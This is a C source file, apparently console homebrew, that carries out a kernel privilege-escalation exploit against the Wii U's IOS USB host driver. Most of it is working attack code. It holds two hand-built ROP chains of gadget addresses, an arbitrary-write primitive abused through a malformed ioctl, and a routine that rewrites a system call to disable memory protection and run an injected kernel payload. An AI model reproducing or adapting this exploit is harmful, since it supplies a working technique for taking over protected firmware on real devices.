#include #include #include #include #include #include #include "ios_exploit.h" #define ALIGN4(x) (((x) + 3) & ~3) #define CHAIN_START 0x1016AD40 #define SHUTDOWN 0x1012EE4C #define SIMPLE_RETURN 0x101014E4 #define SOURCE (0x120000) #define IOS_CREATETHREAD 0x1012EABC #define ARM_CODE_BASE 0x08135000 #define REPLACE_SYSCALL 0x081298BC extern const uint8_t launch_image_tga[]; extern const uint32_t launch_image_tga_size; static void uhs_exploit_init(int uhs_handle); static int uhs_write32(int uhs_handle, int arm_addr, int val); //!------Variables used in exploit------ static int *pretend_root_hub = (int*)0xF5003ABC; static int *ayylmao = (int*)0xF4500000; //!------------------------------------- typedef struct __attribute__((packed)) { uint32_t size; uint8_t data[0]; } payload_info_t; /* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ #include "ios_kernel/ios_kernel.bin.h" #include "ios_usb/ios_usb.bin.h" /* ROP CHAIN STARTS HERE (0x1015BD78) */ static const int final_chain[] = { 0x101236f3, // 0x00 POP {R1-R7,PC} 0x0, // 0x04 arg 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR 0x68, // 0x0C stacksize 0x10101638, // 0x10 0x0, // 0x14 0x0, // 0x18 0x0, // 0x1C 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x30 0x0, // 0x34 IOS_CREATETHREAD, // 0x38 0x1, // 0x3C 0x2, // 0x40 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE92D4010, // 0x4C value: PUSH {R4,LR} 0x0, // 0x50 0x10123a8b, // 0x54 POP {R3,R4,PC} 0x1, // 0x58 R3 must be 1 for the arbitrary write 0x0, // 0x5C 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x64 0x0, // 0x68 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) 0x0, // 0x70 0x0, // 0x74 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE1A04000, // 0x80 value: MOV R4, R0 0x0, // 0x84 0x10123a8b, // 0x88 POP {R3,R4,PC} 0x1, // 0x8C R3 must be 1 for the arbitrary write 0x0, // 0x90 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x98 0x0, // 0x9C 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) 0x0, // 0xA4 0x0, // 0xA8 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF 0x0, // 0xB8 0x10123a8b, // 0xBC POP {R3,R4,PC} 0x1, // 0xC0 R3 must be 1 for the arbitrary write 0x0, // 0xC4 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0xCC 0x0, // 0xD0 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) 0x0, // 0xD8 0x0, // 0xDC 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) 0x0, // 0xEC 0x10123a8b, // 0xF0 POP {R3,R4,PC} 0x1, // 0xF4 R3 must be 1 for the arbitrary write 0x0, // 0xF8 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x100 0x0, // 0x104 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) 0x0, // 0x10C 0x0, // 0x110 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE1A00004, // 0x11C value: MOV R0, R4 0x0, // 0x120 0x10123a8b, // 0x124 POP {R3,R4,PC} 0x1, // 0x128 R3 must be 1 for the arbitrary write 0x0, // 0x12C 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x134 0x0, // 0x138 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) 0x0, // 0x140 0x0, // 0x144 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY 0x0, // 0x154 0x10123a8b, // 0x158 POP {R3,R4,PC} 0x1, // 0x15C R3 must be 1 for the arbitrary write 0x0, // 0x160 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x168 0x0, // 0x16C 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x0, // 0x174 0x0, // 0x178 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0x00000000, // 0x150 value: NOP 0x0, // 0x154 0x10123a8b, // 0x158 POP {R3,R4,PC} 0x1, // 0x15C R3 must be 1 for the arbitrary write 0x0, // 0x160 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x168 0x0, // 0x16C 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x0, // 0x174 0x0, // 0x178 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 0x0, // 0x154 0x10123a8b, // 0x158 POP {R3,R4,PC} 0x1, // 0x15C R3 must be 1 for the arbitrary write 0x0, // 0x160 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x168 0x0, // 0x16C 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x0, // 0x174 0x0, // 0x178 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0x1AFFFFFD, // 0x150 value: BNE clean_loop 0x0, // 0x154 0x10123a8b, // 0x158 POP {R3,R4,PC} 0x1, // 0x15C R3 must be 1 for the arbitrary write 0x0, // 0x160 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x168 0x0, // 0x16C 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x0, // 0x174 0x0, // 0x178 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 0x0, // 0x154 0x10123a8b, // 0x158 POP {R3,R4,PC} 0x1, // 0x15C R3 must be 1 for the arbitrary write 0x0, // 0x160 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x168 0x0, // 0x16C 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x0, // 0x174 0x0, // 0x178 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE1A03004, // 0x184 value: MOV R3, R4 0x0, // 0x188 0x10123a8b, // 0x18C POP {R3,R4,PC} 0x1, // 0x190 R3 must be 1 for the arbitrary write 0x0, // 0x194 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x19C 0x0, // 0x1A0 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) 0x0, // 0x1A8 0x0, // 0x1AC 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE8BD4010, // 0x184 value: POP {R4,LR} 0x0, // 0x188 0x10123a8b, // 0x18C POP {R3,R4,PC} 0x1, // 0x190 R3 must be 1 for the arbitrary write 0x0, // 0x194 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x19C 0x0, // 0x1A0 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) 0x0, // 0x1A8 0x0, // 0x1AC 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) 0x0, // 0x1BC 0x10123a8b, // 0x1C0 POP {R3,R4,PC} 0x1, // 0x1C4 R3 must be 1 for the arbitrary write 0x0, // 0x1C8 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x1D0 0x0, // 0x1D4 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) 0x0, // 0x1DC 0x0, // 0x1E0 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches 0x0, // 0x1E0 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) 0x0, // 0x1DC 0x0, // 0x1E0 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} ARM_CODE_BASE, // 0x1E8 our code destination address 0x0, // 0x1EC 0x0, // 0x1F0 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} 0x0, // 0x1F8 sizeof(ios_kernel_bin), // 0x1FC our code size 0x0, // 0x200 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} 0x00140000, // 0x208 our code source location 0x08131D04, // 0x20C KERNEL_MEMCPY address 0x0, // 0x210 0x0, // 0x214 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) 0x0, 0x0, 0x101312D0, }; static const int second_chain[] = { 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination 0x0, // 0x08 0x0, // 0x0C 0x101063db, // 0x10 POP {R1,R2,R5,PC} 0x00130000, // 0x14 source sizeof(final_chain), // 0x18 length 0x0, // 0x1C 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x101236f3, // 0x2C POP {R1-R7,PC} 0x0, // 0x30 arg 0x101001DC, // 0x34 stackptr 0x68, // 0x38 stacksize 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} 0x0, // 0x40 0x0, // 0x44 0x0, // 0x48 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x50 0x0, // 0x54 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x5C 0x0, // 0x60 IOS_CREATETHREAD, // 0x64 0x1, // 0x68 priority 0x2, // 0x6C flags 0x0, // 0x70 0x0, // 0x74 0x101063db, // 0x78 POP {R1,R2,R5,PC} 0x0, // 0x7C -(0x240 + 0x18 + 0xF000), // 0x80 stack offset 0x0, // 0x84 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} 0x0, 0x0, 0x0, 0x00110000 - 0x44, // 0x8C 0x00110010, // 0x90 0x0, // 0x94 0x0, // 0x98 0x0, // 0x9C 0x0, // 0xA0 0x0, // 0xA4 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} 0x0, 0x0, 0x1012EA68, // 0xAC stack pivot }; static void uhs_exploit_init(int dev_uhs_0_handle) { ayylmao[5] = 1; ayylmao[8] = 0x500000; memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin)); payload_info_t *payloads = (payload_info_t*)0xF4148000; payloads->size = sizeof(ios_usb_bin); memcpy(payloads->data, ios_usb_bin, payloads->size); pretend_root_hub[33] = 0x500000; pretend_root_hub[78] = 0; DCStoreRange(pretend_root_hub + 33, 200); DCStoreRange((void*)0xF4120000, sizeof(second_chain)); DCStoreRange((void*)0xF4130000, sizeof(final_chain)); DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin)); DCStoreRange((void*)0xF4148000, ((uint32_t)0xF4180000) - 0xF4148000); } static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) { ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) OSSleepTicks(0x200000); //! Improves stability int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 int output_buffer[32]; return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); } int ExecuteIOSExploit() { int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); if(iosuhaxFd >= 0) { int dummy = 0; IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy)); //! do not run patches again as that will most likely crash //! because the wupserver and the iosuhax dev node are still running //! just relaunch IOS with new configuration IOS_Close(iosuhaxFd); } //! execute exploit int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); if(dev_uhs_0_handle < 0) { return dev_uhs_0_handle; } uhs_exploit_init(dev_uhs_0_handle); uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} IOS_Close(dev_uhs_0_handle); return 0; }